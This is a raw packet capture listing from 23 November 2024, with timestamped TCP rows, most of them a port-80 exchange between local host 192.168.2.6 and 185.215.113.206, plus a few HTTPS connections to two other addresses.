Nov 23, 2024 21:59:46.521317959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.521362066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.522011995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.522087097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.522099972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.522138119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.522773981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.522816896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.523010969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.523058891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.523541927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.523719072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.524116993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.524167061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.524318933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.524399996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.524441957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.524483919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.525158882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.525208950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.525440931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.525851011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.525893927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.525933027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.526079893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.526129961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.526691914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.526735067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.526804924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.526848078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.527472019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.527529955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.527570009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.527606964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.528247118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.528294086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.528614998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.528765917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.529053926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.529102087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.529721022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.529791117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.529994011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.530046940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.530165911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.530313015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.530667067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.530689001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.530731916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.531460047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.531505108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.531541109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.531580925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.532218933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.532264948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.532442093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.532490015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.532918930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.532958031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.642832994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.642906904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.642993927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.643111944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.643266916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.643335104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.643464088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.643511057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.643634081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.643682957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.644257069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.644319057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.644346952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.644362926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.644812107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.644857883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.644929886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.645546913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.645611048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.645766020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.645813942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.646322966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.646375895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.646421909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.646460056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.647139072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.647362947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.647413015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.647897005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.648040056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.648093939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.648682117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.648746967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.649008036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.649056911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.649575949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.649625063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.649862051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.649909019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.650244951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.650295973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.650341988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.650492907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.651048899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.651101112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.651107073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.651186943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.651859045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.651909113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.651962996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.652678967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.652743101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.653129101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.653173923 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.653444052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.653496981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.653568029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.653671026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.654176950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.654227972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.654716015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.654768944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.654964924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.655034065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.655222893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.655369043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.655767918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.655816078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.655992031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.656589985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.656642914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.656658888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.656749010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.657293081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.657346964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.657690048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.657742023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.658085108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.658139944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.658710957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.658761978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.658843994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.658879042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.659039974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.659087896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.659670115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.659720898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.659832954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.660180092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.660440922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.660494089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.662558079 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:46.662635088 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:46.667018890 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:46.667042971 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:46.667299032 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:46.667356014 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:46.674448013 CET	49891	443	192.168.2.6	20.103.156.88
Nov 23, 2024 21:59:46.674479008 CET	443	49891	20.103.156.88	192.168.2.6
Nov 23, 2024 21:59:46.720882893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.720966101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.721007109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.721141100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.721183062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.721432924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.721590996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.721659899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.721977949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.722165108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.722233057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.722309113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.722748041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.722800016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.722877979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.722923994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.723516941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.723566055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.723658085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.723805904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.724276066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.724322081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.724344969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.724539995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.725055933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.725231886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.725286961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.725902081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.725958109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.726361036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.726450920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.726614952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.726669073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.726802111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.726870060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.727442026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.727603912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.727675915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.728230953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.728247881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.728296041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.728296041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.729033947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.729171991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.729229927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.729763985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.729823112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.729895115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.730555058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.730616093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.730781078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.730829000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.731367111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.731420040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.731595993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.731710911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.732106924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.732161999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.732928991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.732942104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.732954025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.732976913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.732997894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.733671904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.733916998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.734047890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.734095097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.734473944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.734529972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.734666109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.734710932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.735282898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.735444069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.735511065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.736035109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.736088037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.736200094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.736640930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.736807108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.736860037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.737211943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.737317085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.737588882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.738131046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.738223076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.738296986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.738369942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.738646030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.738934994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.738993883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.739155054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.739222050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.739288092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.739934921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.739994049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.740063906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.740715027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.740772009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.741381884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.741441965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.741504908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.741717100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.742031097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.742335081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.742347002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.742389917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.742402077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.743098974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.743174076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.743237019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.763156891 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.763705015 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:46.763720989 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.764265060 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:46.764270067 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.816011906 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.816529036 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:46.816577911 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.817054033 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:46.817068100 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:46.853499889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.853563070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.853579044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.853631973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.853887081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.853940010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.853981972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.854070902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.854578972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.854813099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.854880095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.855341911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.855395079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.855539083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.856198072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.856266975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.856285095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.856489897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.856920004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.856981039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.857111931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.857167006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.857680082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.857733965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.857862949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.857906103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.858469963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.858519077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.858565092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.858656883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.859412909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.859559059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.859586954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.859607935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.860049963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.860100031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.860724926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.860802889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.860867977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.860882998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.860925913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.861605883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.861685991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.861696959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.861778021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.862404108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.862418890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.862474918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.863156080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.863205910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.863707066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.863750935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.863924980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.864043951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.864756107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.864773035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.864788055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.864809990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.864836931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.865523100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:46.865586996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:46.865602016 CET	80	49809	185.215.113.206	192.168.2.6
